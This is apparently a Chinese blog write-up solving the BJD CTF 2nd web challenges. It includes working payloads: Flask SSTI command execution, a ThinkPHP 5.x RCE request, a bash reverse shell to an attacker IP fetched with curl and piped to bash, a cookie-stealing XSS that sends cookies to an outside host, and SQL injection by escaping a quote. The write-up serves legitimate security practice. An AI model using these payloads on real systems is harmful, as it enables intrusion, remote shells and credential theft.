BJD CTF 2nd web wp

fake google

正好是前段时间学过的flask ssti,先给出payload

name={{"".__class__.__mro__[1].__subclasses__()[81].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cd ../;cat flag").read()')}}

老样子,从class—>mro—>subclasses—>globals流程中发现第81个子类可以调用eval、exec这些命令执行函数

在这里插入图片描述

再用eval导入os模块中的popen.read()方法获取终端输出,成功cat flag

在这里插入图片描述

old-hack

确实老把戏了,之前说分析一直没分析的Think PHP 5.x RCE,上一下payload吧

http://80e5b99e-b6bb-4b94-86d7-db345b6630c0.node3.buuoj.cn/index.php?s=index

POST传参:_method=__construct&filter[]=system&server[REQUEST_METHOD]=cd ../../../../;cat flag

duangShell

提示是.swp,盲猜.index.php.swp,vim -r index.php恢复一下得到源码

在这里插入图片描述

exec()函数与system()函数不同,exec()无回显,所以选择反弹shell

在buu的Linux靶机下的/var/www/html目录下新建shell.txt,内容如下

bash -i >& /dev/tcp/174.1.99.10(攻击机ip)/4444 0>&1

然后再用nc监听攻击机的4444端口

nc -lvvp 4444

POST传入girl_friend=curl http://174.1.99.10/shell.txt|bash

在这里插入图片描述

成功反弹shell,找一下flag就行了

在这里插入图片描述

假猪套天下第一

这题是有.DS_Store源码泄露的,拿Python-dsstore可以看到有以下文件

在这里插入图片描述

一开始尝试用admin登录被拦,以为是伪造admin,耽误了挺长时间。

后来随便登录一个账号后发现在底下有一行注释:L0g1n.php

在这里插入图片描述

访问L0g1n.php被告知:Sorry, this site will be available after totally 99 years!

在这里插入图片描述

Cookie中存在time,存放的是当前的时间戳。加上100年的时间戳即可。

然后被告知:Sorry, this site is only optimized for those who comes from localhost

在这里插入图片描述

X-Forwarded-For:127.0.0.1是不行的,需要使用Client-IP或者X-Real-IP代替XFF。

需要注意的是:Sorry, this site is only optimized for browsers that run on Commodo 64

修改User-Agent: Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)",也就是Commodore的UA

后面的不再赘述,最终的http头如下

http headervalue
user-agentContiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)"
Cilent-IP127.0.0.1
referergem-love.com
fromroot@gem-love.com
viay1ng.vip

发包之后源代码里有一段base64,解码就是flag

一次就快把http头玩了个遍,真好

简单注入

日常找源码中找到robots.txt,里面告知了有hint.txt,内容如下

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

fuzz的结果是union、select、like、引号都被ban了

在这里插入图片描述

看了dalao的wp才知道单引号逃逸,假设输入的用户名为admin\,密码为or 1#,执行的sql语句为

select username,password from user where username='admin\' and password='or 1#'

由于单引号被转义,所以 and password=这部分被拼接在了username里,or 1就逃逸了出来

这里可以用正则注入:username=admin\ password=or password regexp 'O'

此时页面返回正常,说明payload可行且密码第一位为’O’

脚本就不放了,因为自己写的一直被buu给ban掉,最终密码为OhyOuFouNdit

在这里插入图片描述

Schrödinger

源码中有一个hint:Remenmber to remove test.php!

在这里插入图片描述

好吧我确实不知道这题的脑洞,看wp都不知道为什么要这样想

最终是将cookie中dXNlcg的值替换为base64encode后的imagin@1580308166

可能出题人就是想考一个cookie伪造,绕来绕去让别人根本想不到

在这里插入图片描述

B站搜av11664517,翻评论找flag去吧

xss之光

这题存在.git源码泄露,GitHack下载源码下了一个index.php

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

xss打一下cookie就行

<?php
$s = '<script>var img=document.createElement("img");img.src="http://733cc9a9-7c27-4309-951e-d53927ec555d.node3.buuoj.cn/a?"+escape(document.cookie);</script>';
echo serialize($s);
?>

在这里插入图片描述

elementmaster

查看源代码发现隐藏id:506F2E和706870,16进制转字符串得到Po.php

大概就是flag藏在118个元素中吧,脚本跑一下就行

import os
import requests
elements = ('H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
                  'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br', 
                  'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te', 
                  'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm', 
                  'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn', 
                  'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
                  'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue')
for element in elements:
    url = "http://d66f4395-2a0d-438a-a84a-727a9d88b8fd.node3.buuoj.cn/" + element + ".php"
    response = requests.get(url)
    if response.status_code == 200:
        print(response.text, end='')
    else:
        continue

得到新的文件名:And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php,访问得到flag

在这里插入图片描述

文件探测

F12查看源码,注释大概说的是藏了一个hint,在header中

在这里插入图片描述

robots.txt中的内容如下:

User-agent: *
Disallow: /flag.php
Disallow: /admin.php
Allow: /index.php

当然admin.php是进不去的,XFF头也没用,老老实实看home.php

伪协议读取一下system.php的源代码

http://c632182e-5c2f-48c8-a7bb-0399f9128b42.node3.buuoj.cn/home.php?file=php://filter/convert.base64-encode/resource=system
<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
    echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
    header("Refresh:0.1;url=index.php");
    die;
}

$str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
$str3 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ ';
$str4 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>File Detector</title>

    <link rel="stylesheet" type="text/css" href="css/normalize.css" />
    <link rel="stylesheet" type="text/css" href="css/demo.css" />

    <link rel="stylesheet" type="text/css" href="css/component.css" />

    <script src="js/modernizr.custom.js"></script>

</head>
<body>
<section>
    <form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
        <div class="simform-inner">
            <span><p><center>File Detector</center></p></span>
            <ol class="questions">
                <li>
                    <span><label for="q1">你知道目录下都有什么文件吗?</label></span>
                    <input id="q1" name="q1" type="text"/>
                </li>
                <li>
                    <span><label for="q2">请输入你想检测文件内容长度的url</label></span>
                    <input id="q2" name="q2" type="text"/>
                </li>
                <li>
                    <span><label for="q1">你希望以何种方式访问?GET?POST?</label></span>
                    <input id="q3" name="q3" type="text"/>
                </li>
            </ol>
            <button class="submit" type="submit" value="submit">提交</button>
            <div class="controls">
                <button class="next"></button>
                <div class="progress"></div>
                <span class="number">
					<span class="number-current"></span>
					<span class="number-total"></span>
				</span>
                <span class="error-message"></span>
            </div>
        </div>
        <span class="final-message"></span>
    </form>
    <span><p><center><a href="https://gem-love.com" target="_blank">@颖奇L'Amore</a></center></p></span>
</section>

<script type="text/javascript" src="js/classie.js"></script>
<script type="text/javascript" src="js/stepsForm.js"></script>
<script type="text/javascript">
    var theForm = document.getElementById( 'theForm' );

    new stepsForm( theForm, {
        onSubmit : function( form ) {
            classie.addClass( theForm.querySelector( '.simform-inner' ), 'hide' );
            var messageEl = theForm.querySelector( '.final-message' );
            form.submit();
            messageEl.innerHTML = 'Ok...Let me have a check';
            classie.addClass( messageEl, 'show' );
        }
    } );
</script>

</body>
</html>
<?php

$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';


if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
    $url = $_POST['q2'].".y1ng.txt";
    $method = $_POST['q3'];

    $str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

    echo $str1;

    if (!preg_match($filter1, $url) ){
        die($str2);
    }
    if (preg_match($filter2, $url)) {
        die($str3);
    }
    if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
        die($str4);
    }
    $detect = @file_get_contents($url, false);
    print(sprintf("$url method&content_size:$method%d", $detect));
}

?>

涉及到ssrf,能力有限,暂时先鸽一鸽

EasyAspDotNet

也鸽了,等学学再回来做

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值